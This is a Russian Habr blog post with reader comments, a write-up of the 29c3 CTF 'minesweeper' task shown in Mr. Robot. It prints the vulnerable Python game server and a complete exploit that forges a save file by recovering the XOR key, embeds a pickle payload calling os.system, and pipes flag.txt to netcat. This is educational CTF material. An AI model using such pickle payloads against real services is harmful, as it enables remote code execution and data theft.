image

Здравствуйте, хабродамы и хаброгоспода!

Recently попался мне случайно на глаза один эпизод из недавно модного сериала «Мистер Робот». Не будучи сильно знакомым с проектом, я всё же знал о связанной с ним массивной пиар-кампании (которая вроде как даже проводила нечто вроде ARG-мероприятий), поэтому когда я услышал условие занимательного CTF-таска (из жанра bin/exploitation), представленного в сюжете одной из серий, я подумал, что скорее всего, этот таск существовал в действительности. Обратившись ко всемирной паутине, я подтвердил своё предположение, и, так как задача не очень сложная (не успеет наскучить в рамках одной хабростатьи), но крайне оригинальная и интересная, сегодня займемся её разбором.
Cut, cut, cut!

Превью


В кратце о том, как это выглядело с экранов ТВ: в одном эпизоде (3-й сезон, 1-я серия, ~ 20:20-22:50) перед зрителем предстает «подпольное хакерское заведение», aka изрисованный анархистским граффи?ти чулан, забитый тучей компьютеров, километрами жёлтых патч-кордов и несколькими киберпанк-like азиатами. Здесь, в окружении неонового вейп-пара и калейдоскопа кислотно-зелёных букв на аспидно-чёрных фонах терминалов машин, накалился самый разгар страстей CTF-соревнования. ГГ подходит к одному из участников, который жалуется ему, что не может справиться с одним из тасков, ГГ за 25 секунд объясняет ему все тайны задачи, даже не взглянув на монитор, ГГ выбивает флаг. Конец.

Теперь о самом таске: это реальная задача на исследование исходного кода, стоящая 100 очков (самый минимум, хе-хе), которая засветилась в «29c3 CTF» (2012 г.). Для ее решения нам понадобятся: 1 часть знаний базовой криптографии и 2 части знания Пайтона (одна, чтобы в pickle.loads() увидеть уязвимость внедрения шеллкода, другая, чтобы написать пару-тройку строк эксплойта).

Для начала рассмотрим условие.

Условие


Enough of reversing? Play this nice game and chill a bit, if you want, you can even save the game and enjoy it later! XX.XX.XX.XX:1024
<хттп://и_тут_сайт_с_исходником/minesweeper.py>

Вольный перевод от автора:
Надоело реверсить? Отвлекись немного и сыграй в нашу игрульку, а если захочешь, можешь даже сейвануться, чтобы потом продолжить, где остановился! XX.XX.XX.XX:1024
<хттп://и_тут_сайт_с_исходником/minesweeper.py>

Исходный код, поставляемый в комплекте с таском, прячется под спойлером:
minesweeper.py
#!/usr/bin/env python
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os

def load_encrypt_key():
	try:
		f = open('encrypt_key.bin', 'r')
		try:
			encrypt_key = f.read(4096)
			if len(encrypt_key) == 4096:
				return encrypt_key
		finally:
			f.close()
	except:
		pass
		
	rand = random.SystemRandom()
	encrypt_key = ""
	for i in xrange(0, 4096):
		encrypt_key += chr(rand.randint(0,255))

	try:
		f = open('encrypt_key.bin', 'w')
		try:
			f.write(encrypt_key)
		finally:
			f.close()
	except:
		pass
	
	return encrypt_key

class Field:
	def __init__(self, w, h, mines):
		self.w = w
		self.h = h
		self.mines = set()
		while len(self.mines) < mines:
			y = random.randint(0, h - 1)
			x = random.randint(0, w - 1)
			self.mines.add((y, x))
		self.mines = sorted(self.mines)
		self.opened = []
		self.flagged = []

	def calc_num(self, point):
		n = 0
		for y in xrange(point[0] - 1, point[0] + 2):
			for x in xrange(point[1] - 1, point[1] + 2):
				p = (y, x)
				if p != point and p in self.mines:
					n += 1
		return n

	def open(self, y, x):
		point = (int(y), int(x))
		if point[0] < 0 or point[0] >= self.h:
			return (True, "Illegal point")
		if point[1] < 0 or point[1] >= self.w:
			return (True, "Illegal point")
		if point in self.opened:
			return (True, "Already opened")
		if point in self.flagged:
			return (True, "Already flagged")
		bisect.insort(self.opened, point)
		if point in self.mines:
			return (False, "You lose")
		if len(self.opened) + len(self.mines) == self.w * self.h:
			return (False, "You win")
		if self.calc_num(point) == 0:
			#open everything around - it can not result in something bad
			self.open(y-1, x-1)
			self.open(y-1, x)
			self.open(y-1, x+1)
			self.open(y, x-1)
			self.open(y, x+1)
			self.open(y+1, x-1)
			self.open(y+1, x)
			self.open(y+1, x+1)
		return (True, None)

	def flag(self, y, x):
		point = (int(y), int(x))
		if point[0] < 0 or point[0] >= self.h:
			return "Illegal point"
		if point[1] < 0 or point[1] >= self.w:
			return "Illegal point"
		if point in self.opened:
			return "Already opened"
		if point in self.flagged:
			self.flagged.remove(point)
		else:
			bisect.insort(self.flagged, point)
		return None

	def load(self, data):
		self.__dict__ = pickle.loads(data)

	def save(self):
		return pickle.dumps(self.__dict__, 1)

	def write(self, stream):
		mine = 0
		open = 0
		flag = 0
		screen = "  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n +" + ("-" * self.w) + "+\n"
		for y in xrange(0, self.h):
			have_mines = mine < len(self.mines) and self.mines[mine][0] == y
			have_opened = open < len(self.opened) and self.opened[open][0] == y
			have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
			screen += chr(0x30 | (y % 10)) + "|"
			for x in xrange(0, self.w):
				is_mine = have_mines and self.mines[mine][1] == x
				is_opened = have_opened and self.opened[open][1] == x
				is_flagged = have_flagged and self.flagged[flag][1] == x
				assert(not (is_opened and is_flagged))
				if is_mine:
					mine += 1
					have_mines = mine < len(self.mines) and self.mines[mine][0] == y
				if is_opened:
					open += 1
					have_opened = open < len(self.opened) and self.opened[open][0] == y
					if is_mine:
						c = "*"
					else:
						c = ord("0")
						#check prev row
						for m in xrange(mine - 1, -1, -1):
							if self.mines[m][0] < y - 1:
								break
							if self.mines[m][0] == y - 1 and self.mines[m][1] in (x - 1, x, x + 1):
								c += 1
						#check left & right
						if mine > 0 and self.mines[mine - 1][0] == y and self.mines[mine - 1][1] == x - 1:
							c += 1
						if have_mines and self.mines[mine][1] == x + 1:
							c += 1
						#check next row
						for m in xrange(mine, len(self.mines)):
							if self.mines[m][0] > y + 1:
								break
							if self.mines[m][0] == y + 1 and self.mines[m][1] in (x - 1, x, x + 1):
								c += 1
						c = chr(c)
				elif is_flagged:
					flag += 1
					have_flagged = flag < len(self.flagged) and self.flagged[flag][0] == y
					c = "!"
				else:
					c = " "
				screen += c
			screen += "|" + chr(0x30 | (y % 10)) + "\n"
		screen += " +" + ("-" * self.w) + "+\n  " + ("0123456789" * ((self.w + 9) / 10))[0:self.w] + "\n"
		stream.send(screen)

sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 1024))
sock.listen(10)

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

encrypt_key = load_encrypt_key()

while 1:
	client, addr = sock.accept()
	if os.fork() == 0:
		break
	client.close()
sock.close()

f = Field(16, 16, 20)

re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
def handle(line):
	if len(line) < 1:
		return (True, None)
	if len(line) == 1 and line[0] in "qxQX":
		return (False, "Bye")
	global f
	if line[0] in "foFO":
		m = re_pos.match(line)
		if m is None:
			return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
		x,y = m.groups()
		x = int(x)
		y = int(y)
		if line[0] in "oO":
			return f.open(y,x)
		else:
			return (True, f.flag(y,x))
	elif line[0] in "lL":
		m = re_save.match(line)
		if m is None:
			return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
		msg = base64.standard_b64decode(m.group(1))
		tmp = ""
		for i in xrange(0, len(msg)):
			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
		msg = tmp
		if msg[0:9] != "4n71cH3aT":
			return (True, "Unable to load savegame (magic)")
		h = hashlib.sha1()
		h.update(msg[9+h.digest_size:])
		if msg[9:9+h.digest_size] != h.digest():
			return (True, "Unable to load savegame (checksum)")
		try:
			f.load(msg[9+h.digest_size:])
		except:
			return (True, "Unable to load savegame (exception)")
		return (True, "Savegame loaded")
	elif len(line) == 1 and line[0] in "sS":
		msg = f.save()
		h = hashlib.sha1()
		h.update(msg)
		msg = "4n71cH3aT" + h.digest() + msg
		tmp = ""
		for i in xrange(0, len(msg)):
			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
		msg = tmp
		return (True, "Your savegame: " + base64.standard_b64encode(msg))
	#elif len(line) == 1 and line[0] in "dD":
	#	return (True, repr(f.__dict__)+"\n")
	else:
		return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")

data = ""
while 1:
	f.write(client)
	while 1:
		pos = data.find("\n")
		if pos != -1:
			cont, msg = handle(data[0:pos])
			if not cont:
				if msg is not None:
					client.send(msg + "\n")
				f.write(client)
				client.close()
				sys.exit(0)
			if msg is not None:
				client.send(msg + "\n")
			data = data[pos+1:]
			break
		new_data = client.recv(4096)
		if len(new_data) == 0:
			sys.exit(0)
		data += new_data


В действительности же мы имеем тривиальное клиент-серверное приложение, которое «играет» с тобой в Сапёра. Прилагаемый исходник крутится на сервере, доступ к которому у участников есть только через скромный cli-интерфейс netcat'а — клиентской стороны игры. Как следствие, для получения флага игроку нужно найти слабое место в реализации самопального Сапёра, чтобы получить доступ к файловой системе сервера (очевидно, что флаг там, где ж ему ещё быть).

Пора покопаться в чужих исходниках…

Исследование исходного кода


import pickle


Как уже было сказано, человек, обладающей щепоткой знаний стандартной библиотеки Пайтона, увидит один из векторов исследования уже на второй строке файла с исходным текстом:

import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os

В программе используется модуль pickle, а значит, скорее всего (памятуя о предоставленной возможности сохранять и загружать состояние игры), мы увидим вызов метода piclke.loads(), который, как известно, уязвим к выполнению произвольного кода.

Теория говорит нам, что библиотека pickle (от англ. «засолить») используется для сериализации и десериализации объектов Пайтона, т. е. для соответственно сохранения состояния объектов в виде битовых последовательностей (по определённому алгоритму — протоколу) с целью их долговременного хранения в файлах на ЖД, передачи по сети и т. п., и восстановления этого состояния из всё той же битовой последовательности для дальнейшего использования в теле программы. НО, также, теория (от лица документации Питона) нас вежливо предупреждает жирными буквами на красном фоне о том, что мы должны быть уверены в надёжности данных, которые мы десериализируем, чтобы не стать жертвой выполнения специально созданного файла с вредоносной нагрузкой, который может сильно подпортить нам жизнь.

Запомним этот момент и пойдём дальше по коду.

load_encrypt_key()


def load_encrypt_key():
	try:
		f = open('encrypt_key.bin', 'r')
		try:
			encrypt_key = f.read(4096)
			if len(encrypt_key) == 4096:
				return encrypt_key
		finally:
			f.close()
	except:
		pass
		
	rand = random.SystemRandom()
	encrypt_key = ""
	for i in xrange(0, 4096):
		encrypt_key += chr(rand.randint(0,255))

	try:
		f = open('encrypt_key.bin', 'w')
		try:
			f.write(encrypt_key)
		finally:
			f.close()
	except:
		pass
	
	return encrypt_key

Сразу же видим функцию с пугающим названием load_encrypt_key(), что наводит на мысль, что у игры будет метод проверки/подписи чего-либо (сохранённых данных?) секретным ключом, хранящемся на сервере.

Функция делает ни что иное, как загружает секретный ключ: если он существует, то сервер забирает его из файла encrypt_key.bin, иначе такой файл генерируется и забивается случайными однобайтовыми значениями. Размер секретного ключа: 4096 байт. Запомнили, идём дальше.

class Field


Далее следует класс, который описывает поле для игры в Сапёра:
class Field:
	def __init__(self, w, h, mines):
		self.w = w
		self.h = h
		self.mines = set()
		while len(self.mines) < mines:
			y = random.randint(0, h - 1)
			x = random.randint(0, w - 1)
			self.mines.add((y, x))
		self.mines = sorted(self.mines)
		self.opened = []
		self.flagged = []

	def calc_num(self, point):
		# ...

	def open(self, y, x):
		# ...
		
	def flag(self, y, x):
		# ...

	def load(self, data):
		self.__dict__ = pickle.loads(data)

	def save(self):
		return pickle.dumps(self.__dict__, 1)

	def write(self, stream):
		# ...

Я намеренно оставил только то, что заслуживает нашего внимания, а именно: конструктор, описывающий поля? по?ля Field (w — ширина, h — высота, mines — список с координатами мин [генерируются случайно] и списки с координатами открытых и разминированных ячеек — opened и flagged соответственно), а также методы загрузки и сохранения игры.

Наше предположение оказалось верным — piclke.loads() и правда используется для загрузки игры. Как это происходит: метод Field.save() загоняет состояние поля в последовательность бит (по протоколу 1 метода pickle.dumps()), а метод Field.load() восстанавливает эту последовательность по просьбе игрока, возвращая ему тот момент игрового процесса, на котором он остановился.

Методы, в которых опущено описание, являются непосредственными составляющими реализации самого игрового процесса и не содержат информации, которая бы оказалась полезна хакеру исследователю безопасности. Названия отражают их предназначения.

Инициализация соединения


Дальше мы видим кусок кода для установления соединения между клиентом и сервером, загрузку секретного ключа и создание экземпляра класса Field, размером 16x16 и с количеством мин, равным 20:
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 1024))
sock.listen(10)

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

encrypt_key = load_encrypt_key()

while 1:
	client, addr = sock.accept()
	if os.fork() == 0:
		break
	client.close()
sock.close()

f = Field(16, 16, 20)

Замечу, что поиграть в Сапёра можно и при наличии только одного ПК.
Минутка ПАРАНОЙИ: выполнение действия ниже равносильно открытию порта с уязвимым на получение шелла приложением, поэтому, если порт доступен извне, решившим потестить скрипт рекомендуется сменить интерфейс для bind'а с 0.0.0.0 на 127.0.0.1.

Если запустить программу в одном окне терминала, а в другом прописать $ nc 0.0.0.0 1024, эффект будет такой же, как при игре с удаленным сервером.

Что ж, давайте так и поступим. Так как вывод объёмный, результат под спойлером:
Пробное соединение
image

Что мы имеем:
  1. После первого ввода символа «h» (хотел немного хелпы), нам стал доступен список команд: o, f, q, x, l, s. Чуть позже мы узнаем, что o — open (открыть ячейку), f — flag (разминировать ячейку), q — quit (выйти из игры), x — exit (выйти из игры), l — load (загрузить игру), s — save (сохранить игру).
  2. Вывод команды save идет в виде base64-строки.
  3. Ввод для команды load также должен представлять из себя base64-строку.

Замечательно! Вернёмся к коду.

handle()


Мы дошли до самой интересной части — функции обработки пользовательского ввода:
handle()
re_pos = re.compile("^. *([0-9]+)[ :;,]+([0-9]+) *$")
re_save = re.compile("^. *([0-9a-zA-Z+/]+=*) *$")
def handle(line):
	if len(line) < 1:
		return (True, None)
	if len(line) == 1 and line[0] in "qxQX":
		return (False, "Bye")
	global f
	if line[0] in "foFO":
		m = re_pos.match(line)
		if m is None:
			return (True, "Usage: '([oOfF]) *([0-9]+)[ :;,]+([0-9]+) *', Cmd=\\1(Open/Flag) X=\\2 Y=\\3")
		x,y = m.groups()
		x = int(x)
		y = int(y)
		if line[0] in "oO":
			return f.open(y,x)
		else:
			return (True, f.flag(y,x))
	elif line[0] in "lL":
		m = re_save.match(line)
		if m is None:
			return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
		msg = base64.standard_b64decode(m.group(1))
		tmp = ""
		for i in xrange(0, len(msg)):
			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
		msg = tmp
		if msg[0:9] != "4n71cH3aT":
			return (True, "Unable to load savegame (magic)")
		h = hashlib.sha1()
		h.update(msg[9+h.digest_size:])
		if msg[9:9+h.digest_size] != h.digest():
			return (True, "Unable to load savegame (checksum)")
		try:
			f.load(msg[9+h.digest_size:])
		except:
			return (True, "Unable to load savegame (exception)")
		return (True, "Savegame loaded")
	elif len(line) == 1 and line[0] in "sS":
		msg = f.save()
		h = hashlib.sha1()
		h.update(msg)
		msg = "4n71cH3aT" + h.digest() + msg
		tmp = ""
		for i in xrange(0, len(msg)):
			tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
		msg = tmp
		return (True, "Your savegame: " + base64.standard_b64encode(msg))
	#elif len(line) == 1 and line[0] in "dD":
	#	return (True, repr(f.__dict__)+"\n")
	else:
		return (True, "Unknown Command: '" + line[0] + "', valid commands: o f q x l s")


Опять же, рассмотрим только значимые моменты. Начнём с той части, которая отвечает за сохранение игры:

elif len(line) == 1 and line[0] in "sS":
	msg = f.save()
	h = hashlib.sha1()
	h.update(msg)
	msg = "4n71cH3aT" + h.digest() + msg
	tmp = ""
	for i in xrange(0, len(msg)):
		tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
	msg = tmp
	return (True, "Your savegame: " + base64.standard_b64encode(msg))

Сохранение происходит в 4 этапа:
  1. msg = f.save() — сохраняем дамп текущего состояния поля Field.
  2. h = hashlib.sha1(); h.update(msg); msg = "4n71cH3aT" + h.digest() + msg — берём sha1-хеш от полученного сообщения и производим операцию конкатенации: хеш вместе с солью (строкой "4n71cH3aT") добавляется в начало сообщения.
  3. for i in xrange(0, len(msg)): tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)])) — подписываем сообщение: xor'им каждый байт сообщения с очередным байтом секретного ключа.
  4. return (True, "Your savegame: " + base64.standard_b64encode(msg)) — возвращаем base64-строку от подписанного сообщения. Это и есть наш сейв.

Рассмотрим загрузку:
elif line[0] in "lL":
	m = re_save.match(line)
	if m is None:
		return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
	msg = base64.standard_b64decode(m.group(1))
	tmp = ""
	for i in xrange(0, len(msg)):
		tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
	msg = tmp
	if msg[0:9] != "4n71cH3aT":
		return (True, "Unable to load savegame (magic)")
	h = hashlib.sha1()
	h.update(msg[9+h.digest_size:])
	if msg[9:9+h.digest_size] != h.digest():
		return (True, "Unable to load savegame (checksum)")
	try:
		f.load(msg[9+h.digest_size:])
	except:
		return (True, "Unable to load savegame (exception)")
	return (True, "Savegame loaded")

Загрузка происходит по аналогичному алгоритму, но в обратном порядке:
  1. Декодируем base64-строку.
  2. Опять применяем операцию xor для получения исходного сообщения.
  3. Избавляемся от соли-префикса "4n71cH3aT".
  4. Сравниваем имеющийся хеш сообщения с вновь посчитанным: если совпало, то успешно — return (True, "Savegame loaded"), иначе, ошибка контрольной суммы — return (True, "Unable to load savegame (checksum)").

Анализ кода завершён, дальше следует основной цикл взаимодействия «клиент-сервер», не представляющий для нас интереса.

Планирование атаки


Итак, мы обладаем всей необходимой информацией для написания эксплойта.

Примерный план таков: создать вредоносный файл сохранения с внедрённым пейлоадом на выполнение желаемого шеллкода и скормить его серверу, тем самым заставив его выполнить непредусмотренное создателем игры действие. Наша главная задача в этой ситуации — извлечь секретный ключ сервера (часть секретного ключа, если быть точным: в нашем случае поле маленькое, и все 4096 байт ключа не используются) для подписи своего сохранения. Для этого ещё раз обратимся к следующим строкам метода сохранения игры:
msg = f.save()
h = hashlib.sha1()
h.update(msg)
msg = "4n71cH3aT" + h.digest() + msg
tmp = ""
for i in xrange(0, len(msg)):
	tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))

Используемый шифр — тривиальный xor-шифр, следовательно, зная ВСЕ составляющие уравнения кроме секретного ключа, мы легко сможем извлечь и его, просто прогнав xor ещё раз:

$Save = (Prefix || Sha1(Dump(Field)) || Dump(Field)) \oplus Key,$

$Key = (Prefix || Sha1(Dump(Field)) || Dump(Field)) \oplus Save,$

где $||$ — операция конкатенации.

Из этого у нас есть: Save (который игра разрешает получить) и Prefix ("4n71cH3aT"). Осталось разобраться с Field. Чтобы трюк прокатил, необходимо, чтобы наш (фальшивый) экземпляр Field в точности совпадал с экземпляром на сервере, т. к. в нашем случае pickle.dumps() сериализирует словарь, содержащий поля экземпляра Field с их значениями.

Вспомним, из чего состоит Field:
class Field:
	def __init__(self, w, h, mines):
		self.w = w
		self.h = h
		self.mines = set()
		while len(self.mines) < mines:
			y = random.randint(0, h - 1)
			x = random.randint(0, w - 1)
			self.mines.add((y, x))
		self.mines = sorted(self.mines)
		self.opened = []
		self.flagged = []

Ширина, высота известны, списки с открытыми и разминированными ячейками проще всего вообще оставить пустыми (сохранившись в самом начале игры, не сделав ни одного хода); остаются координаты мин. Единственным решением становится прохождение игры для формирования списка с такими координатами.

Никогда не любил Сапёра, но, чтобы всё было честно, пронаблюдать мое прохождение можно под спойлером:
Как я в Сапёра играл
Примечание: при выполнении команды o или f сначала указывается столбец, потом строка; например команда o3,15 открывает ячейку с координатами (15, 3).

image

В результате получили такой массив из мин:
mines = [ (1, 12), (1, 14), (2, 10),  (2, 12),
          (2, 14),  (3, 6),  (4, 0),  (4, 15),
           (5, 2), (8, 12), (8, 13),  (8, 14),
          (10, 5), (10, 9), (11, 7), (11, 11),
          (13, 2), (13, 9), (14, 3), (14, 15) ]

Теперь, подключимся к Сапёру ещё раз для получения «пустого» сохранения:
image

Пишем эксплойт


Для начала нам понадобится фейковое поле, в котором мы сразу же для удобства реализуем метод dump():
class FieldFake:
	def __init__(self, w, h, mines):
		self.w = w
		self.h = h
		self.mines = sorted(set(mines))
		self.opened = []
		self.flagged = []

	def dump(self):
		return pickle.dumps(self.__dict__, protocol=1)

Напишем функцию получения посоленного хеша, соединённого с сообщением и функцию xor-шифрования:
def gamehash(gamepickle):
	h = hashlib.sha1()
	h.update(gamepickle)
	return '4n71cH3aT' + h.digest() + gamepickle

def crypt(plain, key):
	return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])

Напишем функтор для генераци пейлоада. На вход будет подаваться желаемая команда, которую должен выполнить сервер, на выходе получим готовый шеллкод, пригодный для внедрения во вредоносное сохранение:
class Payload(object):
	def __init__(self, cmd):
		self.cmd = cmd
	def __reduce__(self):
		import os
		return (os.system, (self.cmd,))

Дело за малым — пишем main():
def main():
	# Подписанное "пустое" сохранение, сделанное в начале игры
	encrypted = base64.standard_b64decode('Sqp2o3wcpQh6QGo4hT+x8U460tEeiF'                                               'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V'                                               'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF'                                               'ECoGugBcTl+DR6NTKctUxpl+yjCSO7'                                               'uwL/+Az5w+9vNpVky+QChWcP0OfHAG'                                               '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt'                                               'QNtQsdy00Zrhv+lCPv+6LQxltt+u39'                                               'zLbKVnOsaLF+j0JOW3hx352U5/UIVP'                                               '2xav1OcIy30n+IhmIhbikpnmk2Kc8r'                                               'Le5qMX56v/irjSqbXnIsfgeKY4DfoS'                                               'Vp79YT+c+HxDP2roMyTeS+d10uUEYM'                                               'Mp0Q==')
	
	# Фейковое поле, инициализированное необходимыми данными
	reconstructed = FieldFake(16,
                                  16,
                                  [ (1, 12), (1, 14), (2, 10),  (2, 12),
                                    (2, 14),  (3, 6),  (4, 0),  (4, 15),
                                     (5, 2), (8, 12), (8, 13),  (8, 14),
                                    (10, 5), (10, 9), (11, 7), (11, 11),
                                    (13, 2), (13, 9), (14, 3), (14, 15)] )
	
	# Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение)
	unencrypted = gamehash(reconstructed.dump())

	# Извлекаем часть ключа
	part_of_key = crypt(unencrypted, encrypted)

	# Генерируем шеллкод
	evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234'))

	# Кодируем base64. Сейв готов!
	evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key))

	print evilsave

Можно было бы придумать что-то более оригинальное (вплоть до получения шелла), но для простоты демонстрации в качестве команды выберем простой cat для вывода на localhost по порту 1234 в sdout содержимое файла flag.txt, который по нашему предположению находился бы в том же каталоге на сервере, откуда был запущен скрипт (в нашем случае его туда нужно сначала положить ;) ).

Собираем воедино и проверяем работу:
evilsave.py
#!/usr/bin/env python
# -*- coding: UTF-8 -*-

import hashlib, base64, pickle

class FieldFake:
	def __init__(self, w, h, mines):
		self.w = w
		self.h = h
		self.mines = sorted(set(mines))
		self.opened = []
		self.flagged = []

	def dump(self):
		return pickle.dumps(self.__dict__, protocol=1)

class Payload(object):
	def __init__(self, cmd):
		self.cmd = cmd
	def __reduce__(self):
		import os
		return (os.system, (self.cmd,))

def gamehash(gamepickle):
	h = hashlib.sha1()
	h.update(gamepickle)
	return '4n71cH3aT' + h.digest() + gamepickle

def crypt(plain, key):
	return ''.join([chr(ord(p) ^ ord(key[i % len(key)])) for i, p in enumerate(plain) ])

def main():
	# Подписанное "пустое" сохранение, сделанное в начале игры
	encrypted = base64.standard_b64decode('Sqp2o3wcpQh6QGo4hT+x8U460tEeiF'                                           'UL9WmcTGcjP+AtaaIlYwjpB5V6ag/V'                                           'rPRsVstMs2N3WLOSgzzUUIbIDbnvxF'                                           'ECoGugBcTl+DR6NTKctUxpl+yjCSO7'                                           'uwL/+Az5w+9vNpVky+QChWcP0OfHAG'                                           '8F7Nx3bFSFoHFc+hEGiSCmZHfu4Ppt'                                           'QNtQsdy00Zrhv+lCPv+6LQxltt+u39'                                           'zLbKVnOsaLF+j0JOW3hx352U5/UIVP'                                           '2xav1OcIy30n+IhmIhbikpnmk2Kc8r'                                           'Le5qMX56v/irjSqbXnIsfgeKY4DfoS'                                           'Vp79YT+c+HxDP2roMyTeS+d10uUEYM'                                           'Mp0Q==')
	
	# Экземпляр фейкового поля, инициализованный необходимыми данными: размеры и список с минами
	reconstructed = FieldFake(16,
                                  16,
                                  [ (1, 12), (1, 14), (2, 10),  (2, 12),
                                    (2, 14),  (3, 6),  (4, 0),  (4, 15),
                                     (5, 2), (8, 12), (8, 13),  (8, 14),
                                    (10, 5), (10, 9), (11, 7), (11, 11),
                                    (13, 2), (13, 9), (14, 3), (14, 15)] )
	
	# Префикс + хеш + сообщение (грубо говоря, неподписанное сохранение)
	unencrypted = gamehash(reconstructed.dump())

	# Извлекаем часть ключа
	part_of_key = crypt(unencrypted, encrypted)

	# Генерируем шеллкод
	evilpickle = pickle.dumps(Payload('cat flag.txt | nc localhost 1234'))

	# Кодируем base64. Сейв готов!
	evilsave = base64.standard_b64encode(crypt(gamehash(evilpickle), part_of_key))

	print evilsave

if __name__ == '__main__':
	main()


И несмотря на то, что нам написали предупреждение "Unable to load savegame (exception)" (генератором которого, стало брошенное pickle.loads()'ом исключение)…
image

… в соседнем окне терминала (также на «клиентской» стороне) мы смогли получить содержимое файла flag.txt, ура, ура:
image

Заключение


Таск очень красив и оригинален (к тому же, по моему мнению, он хорошо демонстрирует педантичную изящность и многофункциональность Пайтона), но вполне прост, если разобраться, что к чему (не даром за него всего 100 очков давали), в связи с этим не совсем понятно, что вызвало такие трудности у участников соревнования по сюжету сериала. Однако, его решение главным героем < чем за пол минуты без скролла исходника действительно выше всяких похвал, нужно было ему задачу о равенстве P и NP подсунуть — при таком подходе всё равно ведь, что решать J

Сериализируйте только проверенные данные, используйте стойкое шифрование, играйте в хорошие игры и не плодите «злых» сохранений.

Всем любви!
image

Интересные ссылки


  1. CTFtime.org / 29c3 CTF / minesweeper — ctftime.org/task/193
  2. Mr.Robot.S03. Как новый сезон «Мистера Робота» радовал фанатов пасхалками и хакерскими играми — «Хакер» — xakep.ru/2018/01/29/mrrobot-s03
  3. Cryptic python «minesweeper» challenge: MrRobot — reddit.com/r/MrRobot/comments/76kz6m/cryptic_python_minesweeper_challenge

Комментарии (5)


  1. Fen1kz
    18.03.2018 02:54

    Я не смотрел сериал, но, возможно, он просто вспомнил её, как вспомню я или вы, прочитав статью?


    1. snovvcrash Автор
      18.03.2018 15:26

      Да я же не возражаю, смотрится эффектно, и пускай)


    1. dmitryredkin
      18.03.2018 18:03

      Да нет, там в каждой серии так. Все программы и скриншоты подлинные, но гг угадввает пароли макимум со второй попытки.


  1. kITerE
    18.03.2018 17:46

    Минутка ПАРАНОЙИ: выполнение действия ниже равносильно открытию порта с уязвимым на получение шелла приложением, так что take care.

    Параноикам можно посоветовать bind'ить сокет не на все интерфейсы (0.0.0.0), а на 127.0.0.1


    1. snovvcrash Автор
      18.03.2018 18:16

      Добавил